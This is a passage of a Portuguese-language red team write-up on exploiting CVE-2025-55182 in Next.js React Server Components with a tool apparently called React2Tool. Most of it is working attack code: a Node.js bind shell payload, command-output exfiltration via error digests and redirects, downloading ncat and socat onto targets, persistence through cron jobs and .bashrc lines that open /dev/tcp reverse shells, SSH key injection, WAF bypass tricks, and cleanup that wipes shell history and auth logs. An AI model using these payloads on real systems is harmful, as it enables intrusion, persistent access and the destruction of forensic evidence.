Quando egress está bloqueado (não conseguimos conectar de volta), a alternativa é Bind Shell: abrimos uma porta no alvo e conectamos nela:
def build_bind_shell_payload(lport=7070):
"""
Bind Shell: Abre porta no alvo, atacante conecta.
Útil quando:
- Firewall bloqueia conexões de saída
- Alvo está em rede interna
- Precisamos de shell persistente
"""
# Node.js bind shell nativo
bind_cmd = (
f"node -e \"require('net').createServer(c=>"
f"{{c.pipe(require('child_process').spawn('sh',"
f"{{stdio:[c,c,c]}}))}})).listen({lport})\""
)
# Spawnar detached para sobreviver ao request
prefix_payload = (
"process.mainModule.require('child_process')"
f".spawn('sh',['-c','{bind_cmd}'],"
"{detached:true,stdio:'ignore'}).unref();"
)
REVERSE SHELL vs BIND SHELL:
REVERSE SHELL (egress):
Alvo ─────────────────────→ Atacante:4444
└── "Me conecta de volta" └── nc -lvnp 4444
BIND SHELL (ingress):
Atacante ─────────────────→ Alvo:7070
└── nc alvo 7070 └── Porta aberta esperando conexão
Solução: Upload de Ferramentas Estáticas
Servidores Next.js frequentemente não têm nc, socat, ou
outras ferramentas. A solução é fazer upload de binários estáticos:
# Catálogo de binários estáticos para Linux x86_64
STATIC_BINARIES = {
"ncat": {
"url": "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat",
"description": "Netcat com SSL e proxy support",
"help": "Listener: /tmp/ncat -lvnp 4444 --ssl",
},
"socat": {
"url": "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat",
"description": "Swiss army knife de conexões",
"help": "TTY: socat exec:'bash -li',pty,stderr,sane tcp:LHOST:LPORT",
},
"busybox": {
"url": "https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox",
"description": "Unix utilities all-in-one",
"help": "busybox wget, busybox nc, etc",
},
}
def upload_tool(session, target, tool_name):
"""
Faz upload de ferramenta via curl/wget já existente no alvo,
ou via RCE payload que escreve bytes diretamente.
"""
tool = STATIC_BINARIES[tool_name]
# Tenta curl primeiro (mais comum)
cmd = f"curl -sL {tool['url']} -o /tmp/{tool_name} && chmod +x /tmp/{tool_name}"
result = execute_command(session, target, cmd)
if not result.success:
# Fallback: wget
cmd = f"wget -q {tool['url']} -O /tmp/{tool_name} && chmod +x /tmp/{tool_name}"
result = execute_command(session, target, cmd)
Desafio 3: Extração de Output de Comandos
O Problema do Blind RCE
Diferente de uma shell tradicional onde você vê o output imediatamente, a exploração do Next.js RSC é semi-blind: o output está "enterrado" na resposta HTTP e precisa ser extraído.
# Técnica: Output via Base64 no campo digest
def build_exploit_payload_base64(command):
"""
Técnica inspirada na extensão RSC_Detector.
1. Executa comando
2. Converte output para Base64
3. Joga no campo 'digest' do error
4. Extrai do response body
"""
prefix_payload = (
"var res=process.mainModule.require('child_process')"
f".execSync('{command}',{{timeout:30000}})"
".toString('base64');" # ← Base64 para evitar chars especiais
"throw Object.assign(new Error('x'),{digest: res});"
)
return prefix_payload
# Extração do output
def extract_output_from_digest(response_text):
"""
Parseia response buscando o campo digest com Base64.
"""
patterns = [
r'"digest"\s*:\s*"([^"]*)"',
]
for pattern in patterns:
match = re.search(pattern, response_text)
if match:
raw_digest = match.group(1)
# Ignorar checksums internos do Next.js
if raw_digest.isdigit():
continue
# Tentar decode Base64
try:
decoded = base64.b64decode(raw_digest).decode('utf-8')
return decoded
except:
pass
return None
Por que Base64? O output de comandos pode conter quebras de linha, aspas, e outros caracteres que quebram JSON. Base64 "sanitiza" o output, garantindo que chegue intacto até nós.
Fallback: URL Redirect Extraction
Uma técnica alternativa é forçar um redirect com o output no parâmetro da URL:
def build_redirect_payload(command):
"""
Payload alternativo: output via redirect header.
Funcionamento:
1. Executa comando
2. URL-encodes o resultado
3. Joga em um redirect
4. Extraímos do header X-Action-Redirect ou Location
"""
prefix_payload = (
"var res=process.mainModule.require('child_process')"
f".execSync('{command}',{{timeout:30000}})"
".toString().trim();"
"throw Object.assign(new Error('NEXT_REDIRECT'),"
"{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});"
)
return prefix_payload
def extract_from_redirect(response):
"""Extrai output do header ou body de redirect."""
# Método 1: Header
redirect = response.headers.get("X-Action-Redirect", "")
match = re.search(r'[?&]out=([^&;]+)', redirect)
if match:
return urllib.parse.unquote(match.group(1))
# Método 2: Body
body_match = re.search(r'out=([^&;\s"]+)', response.text)
if body_match:
return urllib.parse.unquote(body_match.group(1))
Desafio 4: Estabelecendo Persistência
O Problema da Efemerabilidade
Em ambientes serverless (Vercel, AWS Lambda), o container pode ser destruído a qualquer momento. Mesmo em VMs tradicionais, reinícios acontecem. Precisamos de persistência.
Técnica 1: Cron Job
# Adiciona job que executa a cada minuto
(crontab -l 2>/dev/null; echo "* * * * * /tmp/.hidden/callback.sh") | crontab -
# callback.sh - tenta conectar de volta continuamente
#!/bin/bash
while true; do
bash -i >& /dev/tcp/LHOST/LPORT 0>&1 2>/dev/null
sleep 60
done
Técnica 2: SSH Authorized Keys
def establish_ssh_persistence(session, target, pubkey):
"""
Adiciona nossa chave SSH ao authorized_keys.
Vantagens:
- Acesso legítimo via SSH
- Não depende de beacon/callback
- Sobrevive reinícios
"""
commands = [
"mkdir -p ~/.ssh",
"chmod 700 ~/.ssh",
f"echo '{pubkey}' >> ~/.ssh/authorized_keys",
"chmod 600 ~/.ssh/authorized_keys",
]
for cmd in commands:
execute_command(session, target, cmd)
Técnica 3: Profile/Bashrc Hooking
# Adiciona callback no .bashrc - executa quando user faz login
echo 'nohup bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1" &' >> ~/.bashrc
# Ou no .profile para todos os logins
echo 'nohup /tmp/.hidden/beacon &' >> ~/.profile
Persistência deixa artefatos que Blue Team pode encontrar. Em operações Red Team reais, priorize persistência que imita atividade legítima (SSH keys > cron jobs > bashrc hooks). E sempre documente para cleanup posterior.
Desafio 5: Cleanup — Apagando Seus Rastros
Tão importante quanto explorar é não ser detectado. O React2Tool inclui funcionalidade de cleanup que remove artefatos deixados durante a operação:
def cleanup_artifacts(session, target):
"""
Remove todos os artefatos deixados pelo exploit.
Artefatos típicos:
- Binários enviados (/tmp/ncat, /tmp/socat)
- Scripts de persistência
- Histórico de comandos
- Logs que mencionam nossa atividade
"""
cleanup_commands = [
# Remover ferramentas
"rm -rf /tmp/ncat /tmp/socat /tmp/busybox /tmp/.hidden",
# Limpar histórico
"history -c",
"rm -f ~/.bash_history ~/.zsh_history",
"unset HISTFILE",
# Limpar /var/log (se tiver permissão)
"rm -f /var/log/auth.log.* 2>/dev/null",
# Remover persistence (se aplicável)
"crontab -r 2>/dev/null",
# Limpar arquivos temporários
"rm -rf /tmp/npm-* /tmp/v8-* 2>/dev/null",
]
for cmd in cleanup_commands:
execute_command(session, target, cmd, silent=True)
"Um bom Red Teamer deixa o ambiente exatamente como encontrou — ou pelo menos como se nada tivesse acontecido. Cleanup não é opcional."
Lições Aprendidas e Conclusões
O Que Funcionou
- Junk Data Overflow — 256KB de lixo antes do payload bypassa maioria dos WAFs
- String Concatenation —
'child'+'_process'evade pattern matching - Detached Spawn —
{detached:true,stdio:'ignore'}.unref()é essencial - Base64 Output — Mais confiável que URL encoding para extração
- Binários Estáticos — Quando o alvo não tem ferramentas, traga as suas
O Que Não Funcionou (E Por Quê)
| Tentativa | Por Que Falhou | Solução |
|---|---|---|
| Reverse shell simples | Processo morria com o request HTTP | Spawn detached + unref |
| Output via stdout | Next.js não expõe stdout do processo | Throw Error com digest |
| Unicode encoding sozinho | WAFs normalizavam antes de inspecionar | Combinar com junk overflow |
| Downloads de binário direto | Alguns alvos não tinham curl/wget | Upload via echo + base64 |
Para o Futuro
O desenvolvimento de exploits é um jogo de gato e rato. As técnicas aqui documentadas funcionam hoje, mas WAFs evoluem. Algumas áreas de pesquisa futura:
- WebSocket tunneling — Bypass de inspection via upgrade de protocolo
- Time-based extraction — Para ambientes completamente blind
- Memory-only execution — Evitar touchdowns no filesystem
- DNS exfiltration — Quando HTTP egress está bloqueado
Conclusão
O CVE-2025-55182 demonstra como uma vulnerabilidade em um framework moderno pode ser explorada de forma sofisticada quando você entende os mecanismos de defesa e sabe como contorná-los.
Mensagem-Chave
"Explorar não é só enviar um payload. É entender o alvo, adaptar às defesas, e persistir quando tudo falha. O script é ferramenta — o conhecimento é a arma."
O Que Aprendemos:
- Bypass de WAF com múltiplas técnicas
- Estabilização de shells com detached spawn
- Upload chunked para ambientes limitados
- Extração de output via digest/redirect
Próximos Passos:
- Estudar outros frameworks (Remix, Nuxt)
- Desenvolver técnicas de evasão customizadas
- Praticar em labs autorizados
Referências e Recursos
Assetnote Scanner
Scanner HTTP original
Static Binaries
Binários estáticos Linux
Prototype Pollution
Background da vulnerabilidade
Node.js Security
OWASP Cheat Sheet
maple3142 PoC
Gadgetchain original
msanft Writeup
Análise técnica detalhada
React Advisory
Comunicado oficial React
Jang Deep Dive
Análise interna do exploit